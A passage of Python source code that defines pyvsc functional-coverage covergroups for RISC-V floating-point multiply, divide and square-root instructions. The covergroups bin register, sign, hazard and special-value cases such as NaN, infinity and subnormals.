vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmul_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fdiv_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fdiv_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsqrt_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.bit_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.bit_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsqrt_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmin_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) 